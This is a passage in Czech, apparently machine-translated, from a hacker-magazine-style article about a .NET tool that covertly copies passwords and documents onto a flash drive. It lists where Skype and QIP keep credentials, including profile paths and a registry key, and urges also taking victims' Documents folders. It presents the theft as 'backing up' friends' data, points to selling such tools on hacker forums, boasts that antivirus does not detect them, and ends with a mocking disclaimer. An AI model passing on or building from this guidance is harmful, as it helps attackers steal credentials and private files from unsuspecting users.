    Popularita Skype roste každým dnem. Mnoho lidí to nepoužívá jako prostředek k telefonování, ale pro banální pohodlný chat. Všechna důvěrná data jsou podle očekávání umístěna v uživatelském profilu (na stejném místě, kde je ukládá Opera nebo FF). Chcete-li je „privatizovat“, budete muset zkopírovat uživatelský profil z Document and Settings\%userName%\Application Data\Skype\ a exportovat větev registru - HKEY_CURRENT_USER\Software\Skype\ProtectedStorage .

    QIP

    Jako většina programů popsaných dříve, QIP ukládá všechna uložená hesla do Application Data\qip .

    Kopírování dokončeno

    Technologie .NET výrazně zjednodušila náš úkol, v důsledku čehož bylo veškeré kódování zredukováno na volání několika metod. Samozřejmě můžete říci, že to není cool a že takové věci je mnohem efektivnější psát ve WinAPI nebo ASM "e. V některých ohledech s vámi souhlasím, ale mějte na paměti, na WinAPI a zejména na Asma , napište takový program, jako je tento, ale neuspějete rychle. Zatímco jiní píší kilometrový kód, vy a já budeme sklízet. Hodně štěstí v programování a pokud máte nějaké dotazy, napište do mýdla.

    Nezapomeňte, že mnoho uživatelů ukládá důvěrné informace do složky „Dokumenty“. Minimálně mohou existovat zajímavé pracovní dokumenty a někdy i celé soubory s hesly. Svého času (v mé bývalé práci) jsem našel na počítači účetní úhledně naformátovaný soubor s hesly pro klienty bank.

    Jako skutečný přítel musíte všem těmto lidem pomoci zálohovat jejich citlivé informace.

    Mnoho fór hackerů má spoustu reklam na prodej tohoto druhu softwaru. Různé ceny - od 10 $ do 100 $. Po dokončení příkladů diskutovaných v článku si můžete vydělat kůrku černého chleba s kaviárem. Opakuji, hlavní je přistupovat k věci kreativně a vše se určitě podaří. Opět to není detekováno antiviry;).

    Varování!

    Tento program používáme výhradně pro včasné zálohování obsahu flash disků na disk a zálohování hesel na flash disk. A co sis myslel? Nelegální použití takového softwaru je trestné!